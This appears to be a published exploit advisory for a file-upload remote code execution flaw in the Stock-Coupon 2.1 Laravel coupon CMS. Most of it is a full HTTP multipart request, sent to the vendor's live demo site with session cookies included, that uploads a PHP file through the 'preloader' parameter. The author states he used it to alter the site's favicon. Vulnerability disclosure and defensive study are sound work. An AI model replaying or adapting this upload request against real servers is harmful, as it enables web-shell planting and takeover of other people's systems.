## Title: Stock-Coupon-2.1 File Upload - RCE ## Author: nu11secur1ty ## Date: 12/02/2023 ## Vendor: https://mediacity.co.in/mediacity/ ## Software: https://codecanyon.net/item/stock-coupon-laravel-coupon-and-deal-cms/22659520?s_rank=12 ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The "image-block" parameter is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a php exploit that renamed the favicon node to favicon_hacked, which is CRITICAL! =) I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```POST POST /public/admin/settings_update/1 HTTP/2 Host: stockcoupon.mediacity.co.in Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6InFoKzR0alZYVHNiZnFKMzZIeS90K2c9PSIsInZhbHVlIjoiZDR4RjdsQThLaGl4MUdPOGZLODBhTlB0a2JXYTBtWnV2Z1M4RWxCVFNSL2pvTVp0Z2luUGE1UTJST0JnaFQzLy9pRnNKVm9OWkc2VCtKTE1uM0FqWlVTMFRMZUc2bjU4Umd4c0E2YXBUVXp4bm5xUWZEVHlWSTI1TUFkSXZmU1MiLCJtYWMiOiI2Zjg4YjVkMTRjYzZlZWM5MzNmYWM0NGMzMWVkZjRhZWI5OGJmYTYyMDhiMjY4MmE2YmNjNjYyNzg2YTUyNjEwIiwidGFnIjoiIn0%3D; stockcoupon_session=eyJpdiI6Ilo3ei9yalhBcDdQY2xZVmp3akRuM1E9PSIsInZhbHVlIjoiWnorekhGdmxMZDJVaDBpOHlvQm5MQUR2d2NHVVgvUGpRM00xMEFFL0RZMmJ0NWVaNUhVMHlTRlJSeUhrT3M5VzlNV2ROdTllNDhManVqbUlYM2hBeEIwdjdBc2VkKzcyMTNKQ1FXR3FFKzVMMHZLUVp0bG1WYWRmSXprUVZXM2ciLCJtYWMiOiIxNmEyNGZmMTMzOWYzMDRiOTBlZmYzOTRmYzExNzk4MjM0M2Q3MzMxOTYyNzZiNGNlY2YwMWY1ZWEzODJiMTJjIiwidGFnIjoiIn0%3D Content-Length: 5749 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24" Origin: https://stockcoupon.mediacity.co.in Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhXYNu3NlhcrFhAZm Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Ch-Ua-Platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty Referer: https://stockcoupon.mediacity.co.in/public/admin/settings Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="_method" PATCH ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="_token" Qj0TzntMBFG66ixMHTnEwhBX4TJZAeAtINvcoaEI ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_name" Stock Coupon ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_title" Stock Coupon - Responsive Coupons, Deal and Promo Template ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_email" info@mediacity.co.in ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_phone" +61 3 4776 6214 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_address" Ville Parle, LA, US ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="w_time" 10 AM - 8 PM ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="currency_code" USD ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="currency" fa fa-dollar ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="logo"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="favicon"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="preloader"; filename="namebasterd.php" Content-Type: application/octet-stream <?php // by nu11secur1ty - 2023 // $3900 ?> ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="keywords" Stock Coupon - Responsive Coupons, Deal and Promo Template ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="desc" Stock Coupon - Responsive Coupons, Deal and Promo Template ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="footer_layout" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="footer_logo"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="f_title1" Market ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="f_title2" Help ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="f_title3" Join Community ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="f_title4" Newsletter Subscribe ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="footer_text" Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nam explicabo vero optio provident, ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="copyright" All Rights Reserved. ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="m_text" Get our latest news!! ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="playstore_link" # ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="app_link" https://www/appstore.com/ ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_mailchimp" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_playstore" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_app_icon" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="btn_title" Hot Deals ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="btn_link" # ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="btn_title2" Trending Items ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="btn_link2" # ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_feat_slider" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_recent_deals" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_category_block" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_store_slider" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_blog" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="navbar_img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="sidebar_abt" Lorem ipsum dolor sit amet, viri adipisicing elit. Quidem nam incidunt accusamus voluptatum in, vel omnis inventore sunt exercitationem voluptas repellendus, dolorem at recusandae nisi rem. ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="google_analytics" ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_preloader" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="is_gotop" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="blog_left" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm Content-Disposition: form-data; name="catlog_view" 1 ------WebKitFormBoundaryhXYNu3NlhcrFhAZm-- ``` [+]Response: ```Curl ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/Stock-Coupon-2.1) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/12/stock-coupon-21-file-upload-rce.html) ## Time spent: 01:17:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>